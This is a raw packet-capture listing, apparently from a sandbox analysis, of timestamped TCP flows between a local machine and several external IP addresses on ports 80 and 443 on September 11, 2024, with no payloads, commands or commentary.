Sep 11, 2024 16:22:17.317070961 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.317081928 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.317096949 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.317101002 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.317109108 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.317150116 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.317177057 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.317394972 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.317406893 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.317451000 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.317545891 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.317558050 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.317568064 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.317579031 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.317589998 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.317596912 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.317610979 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.317621946 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.317625046 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.317634106 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.317646027 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.317650080 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.317676067 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.317687988 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.317693949 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.317728996 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.317868948 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.317881107 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.317890882 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.317907095 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.317949057 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.318325043 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.318376064 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.318506002 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.318516970 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.318526983 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.318537951 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.318548918 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.318555117 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.318559885 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.318572998 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.318598032 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.318631887 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.318661928 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.318671942 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.318682909 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.318694115 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.318706989 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.318711042 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.318741083 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.318797112 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.318809032 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.318844080 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.318979979 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.318990946 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.319000959 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.319036007 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.319056034 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.319328070 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.319380045 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.319511890 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.319524050 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.319565058 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.319654942 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.319667101 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.319677114 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.319688082 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.319699049 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.319705009 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.319710970 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.319737911 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.319761992 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.319803953 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.319816113 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.319828987 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.319840908 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.319843054 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.319875002 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.319907904 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.319972038 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.319983006 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.319992065 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.320003033 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.320007086 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.320014954 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.320038080 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.320070982 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.320600986 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.320612907 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.320625067 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.320636034 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.320647955 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.320653915 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.320660114 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.320669889 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.320687056 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.320713043 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.322981119 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.323040962 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.323134899 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.323147058 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.323158026 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.323173046 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.323184013 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.323187113 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.323198080 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.323223114 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.323246002 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.323271990 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.323287964 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.323301077 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.323312044 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.323312044 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.323323965 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.323334932 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.323343992 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.323435068 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.323446989 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.323460102 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.323477030 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.327065945 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.327079058 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.327090025 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.327122927 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.327135086 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.327147007 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.327152014 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.327159882 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.327168941 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.327193975 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.327230930 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.343924999 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.343961000 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.343977928 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.343990088 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.344000101 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.344063997 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.344101906 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.344171047 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.344182968 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.344192982 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.344204903 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.344218016 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.344245911 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.344413042 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.344460964 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.344491959 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.344502926 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.344542980 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.345037937 CEST	443	49746	76.76.21.61	192.168.2.4
Sep 11, 2024 16:22:17.345222950 CEST	443	49746	76.76.21.61	192.168.2.4
Sep 11, 2024 16:22:17.345236063 CEST	49746	443	192.168.2.4	76.76.21.61
Sep 11, 2024 16:22:17.345310926 CEST	49746	443	192.168.2.4	76.76.21.61
Sep 11, 2024 16:22:17.346633911 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.346645117 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.346654892 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.346702099 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.346744061 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.346762896 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.346775055 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.346786022 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.346797943 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.346811056 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.346811056 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.346849918 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.350080013 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350131035 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.350177050 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350189924 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350202084 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350214005 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350224972 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350236893 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350246906 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.350286961 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.350315094 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350327015 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350337982 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350352049 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350363970 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350366116 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.350374937 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350388050 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350403070 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.350454092 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.350454092 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.350624084 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350636959 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350647926 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350683928 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.350684881 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350697994 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350714922 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350725889 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350738049 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350749016 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350753069 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.350753069 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.350768089 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350779057 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350790977 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350795031 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.350800991 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350814104 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350822926 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350830078 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.350830078 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.350852013 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350863934 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350873947 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350886106 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350899935 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350907087 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.350907087 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.350912094 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350923061 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.350950003 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.350950003 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.350972891 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.351335049 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.351397038 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.351408958 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.351411104 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.351439953 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.351449966 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.351454973 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.351460934 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.351474047 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.351475954 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.351486921 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.351490021 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.351542950 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.351572037 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.351583958 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.351593971 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.351599932 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.351607084 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.351609945 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.351619959 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.351660967 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.351661921 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.351680040 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.351691008 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.351706982 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.351722002 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.351754904 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.351846933 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.351892948 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.351896048 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.351907969 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.351943970 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.351974964 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.351988077 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.351999044 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.352011919 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.352020025 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.352044106 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.352106094 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.352111101 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.352121115 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.352138042 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.352149010 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.352154970 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.352160931 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.352166891 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.352170944 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.352205992 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.352242947 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.352255106 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.352257013 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.352264881 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.352278948 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.352291107 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.352302074 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.352309942 CEST	49746	443	192.168.2.4	76.76.21.61
Sep 11, 2024 16:22:17.352322102 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.352330923 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.352330923 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.352332115 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.352344036 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.352349997 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.352349997 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.352351904 CEST	443	49746	76.76.21.61	192.168.2.4
Sep 11, 2024 16:22:17.352355003 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.352374077 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.352375031 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.352385998 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.352396965 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.352423906 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.352436066 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.352452993 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.352463007 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.352478027 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.352487087 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.352487087 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.352490902 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.352502108 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.352514029 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.352530003 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.352536917 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.352540016 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.352550983 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.352562904 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.352572918 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.352574110 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.352574110 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.352586985 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.352612019 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.352627993 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.352628946 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.352639914 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.352650881 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.352662086 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.352663040 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.352674007 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.352694988 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.352735043 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.352896929 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.352909088 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.352919102 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.352943897 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.352963924 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.353137970 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.353149891 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.353161097 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.353173018 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.353184938 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.353187084 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.353198051 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.353210926 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.353212118 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.353224039 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.353235960 CEST	80	49734	147.45.44.104	192.168.2.4
